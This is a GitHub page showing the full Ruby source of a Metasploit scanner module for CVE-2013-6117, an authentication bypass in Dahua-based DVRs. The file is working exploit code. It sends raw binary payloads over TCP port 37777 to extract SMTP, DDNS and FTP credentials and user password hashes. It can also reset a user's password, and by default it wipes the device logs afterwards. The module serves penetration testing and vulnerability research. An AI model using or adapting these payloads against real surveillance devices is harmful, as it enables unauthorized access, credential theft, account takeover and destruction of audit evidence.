-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
dahua_dvr_auth_bypass.rb
399 lines (368 loc) · 13.5 KB
/
dahua_dvr_auth_bypass.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => %q(Dahua DVR Auth Bypass Scanner),
'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),
'Author' => [
'Tyler Bennett - Talos Consulting', # Metasploit module
'Jake Reynolds - Depth Security', # Vulnerability Discoverer
'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
'Nathan McBride' # regex extraordinaire
],
'References' => [
[ 'CVE', '2013-6117' ],
[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]
],
'License' => MSF_LICENSE,
'DefaultAction' => 'VERSION',
'Actions' =>
[
[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],
[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],
[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],
[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],
[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],
[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],
[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],
[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],
[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]
]
)
deregister_options('RHOST')
register_options([
OptString.new('USERNAME', [false, 'A username to reset', '888888']),
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),
Opt::RPORT(37777)
])
end
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
# Payload to grab version of the DVR
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab Email Settings of the DVR
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab DDNS Settings of the DVR
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab NAS Settings of the DVR
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Channels that each camera is assigned to on the DVR
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Users Groups of the DVR
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Users and their hashes from the DVR
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to grab the Serial Number of the DVR
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# Payload to clear the logs of the DVR
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
def setup
@password = datastore['PASSWORD']
@password ||= Rex::Text.rand_text_alpha(6)
end
def grab_version
connect
sock.put(VERSION)
data = sock.get_once
return unless data =~ /[\x00]{8,}([[:print:]]+)/
ver = Regexp.last_match[1]
print_good("#{peer} -- version: #{ver}")
end
def grab_serial
connect
sock.put(SN)
data = sock.get_once
return unless data =~ /[\x00]{8,}([[:print:]]+)/
serial = Regexp.last_match[1]
print_good("#{peer} -- serial number: #{serial}")
end
def grab_email
connect
sock.put(EMAIL)
return unless (response = sock.get_once)
data = response.split('&&')
print_good("#{peer} -- Email Settings:")
return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
if mailhost = Regexp.last_match[1].split(':')
print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?
print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?
print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?
mailserver = "#{mailhost[0]}"
mailport = "#{mailhost[1]}"
muser = "#{data[5]}"
mpass = "#{data[6]}"
end
return if muser.blank? && mpass.blank?
print_good(" SMTP User: #{data[5]}")
print_good(" SMTP Password: #{data[6]}")
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
report_email_cred(mailserver, mailport, muser, mpass)
end
def grab_ddns
connect
sock.put(DDNS)
return unless (response = sock.get_once)
data = response.split(/&&[0-1]&&/)
ddns_table = Rex::Text::Table.new(
'Header' => 'Dahua DDNS Settings',
'Indent' => 1,
'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']
)
data.each_with_index do |val, index|
next if index == 0
val = val.split("&&")
ddns_service = val[0]
ddns_server = val[1]
ddns_port = val[2]
ddns_domain = val[3]
ddns_user = val[4]
ddns_pass = val[5]
ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
if datastore['VERBOSE']
ddns_table.print
end
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
end
end
end
def grab_nas
connect
sock.put(NAS)
return unless (data = sock.get_once)
print_good("#{peer} -- NAS Settings:")
server = ''
port = ''
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
server = Regexp.last_match[1].unpack('C*').join('.')
port = Regexp.last_match[2].unpack('S')
end
if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data
ftpuser.strip!
ftppass.strip!
unless ftpuser.blank? || ftppass.blank?
print_good("#{peer} -- NAS Server: #{server}")
print_good("#{peer} -- NAS Port: #{port}")
print_good("#{peer} -- FTP User: #{ftpuser}")
print_good("#{peer} -- FTP Pass: #{ftppass}")
report_creds(
host: server,
port: port,
user: ftpuser,
pass: ftppass,
type: "FTP",
active: true)
end
end
end
def grab_channels
connect
sock.put(CHANNELS)
data = sock.get_once.split('&&')
channels_table = Rex::Text::Table.new(
'Header' => 'Dahua Camera Channels',
'Indent' => 1,
'Columns' => ['ID', 'Peer', 'Channels']
)
return unless data.length > 1
data.each_with_index do |val, index|
number = index.to_s
channels = val[/([[:print:]]+)/]
channels_table << [ number, peer, channels ]
end
channels_table.print
end
def grab_users
connect
sock.put(USERS)
return unless (response = sock.get_once)
data = response.split('&&')
usercount = 0
users_table = Rex::Text::Table.new(
'Header' => 'Dahua Users Hashes and Rights',
'Indent' => 1,
'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
)
data.each do |val|
usercount += 1
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
users_table << [ peer, user, md5hash, groups, rights, name]
# Write the dahua hash to the database
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
report_hash(rhost, rport, user, hash)
# Write the vulnerability to the database
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
sname: 'dvr',
name: 'Dahua Authentication Password Hash Exposure',
info: "Obtained password hash for user #{user}: #{md5hash}",
refs: references
)
end
users_table.print
end
def grab_groups
connect
sock.put(GROUPS)
return unless (response = sock.get_once)
data = response.split('&&')
groups_table = Rex::Text::Table.new(
'Header' => 'Dahua groups',
'Indent' => 1,
'Columns' => ['ID', 'Peer', 'Group']
)
data.each do |val|
number = "#{val[/(([\d]+))/]}"
groups = "#{val[/(([a-z]+))/]}"
groups_table << [ number, peer, groups ]
end
groups_table.print
end
def reset_user
connect
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
sock.put(u1)
sock.put(u2)
sock.put(u3)
sock.get_once
sock.put(u1)
return unless sock.get_once
print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")
end
def clear_logs
connect
sock.put(CLEAR_LOGS1)
sock.put(CLEAR_LOGS2)
print_good("#{peer} -- logs cleared")
end
def peer
"#{rhost}:#{rport}"
end
def run_host(_ip)
begin
connect
sock.put(U1)
data = sock.recv(8)
disconnect
return unless data == DVR_RESP
print_good("#{peer} -- Dahua-based DVR found")
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
case action.name.upcase
when 'CHANNEL'
grab_channels
when 'DDNS'
grab_ddns
when 'EMAIL'
grab_email
when 'GROUP'
grab_groups
when 'NAS'
grab_nas
when 'RESET'
reset_user
when 'SERIAL'
grab_serial
when 'USER'
grab_users
when 'VERSION'
grab_version
end
clear_logs if datastore['CLEAR_LOGS']
ensure
disconnect
end
end
def report_hash(rhost, rport, user, hash)
service_data = {
address: rhost,
port: rport,
service_name: 'dahua_dvr',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: 'dahua_hash',
username: user
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
service_data = {
address: ddns_server,
port: ddns_port,
service_name: 'ddns settings',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: ddns_pass,
private_type: :password,
username: ddns_user
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def report_email_cred(mailserver, mailport, muser, mpass)
service_data = {
address: mailserver,
port: mailport,
service_name: 'email settings',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: mpass,
private_type: :password,
username: muser
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end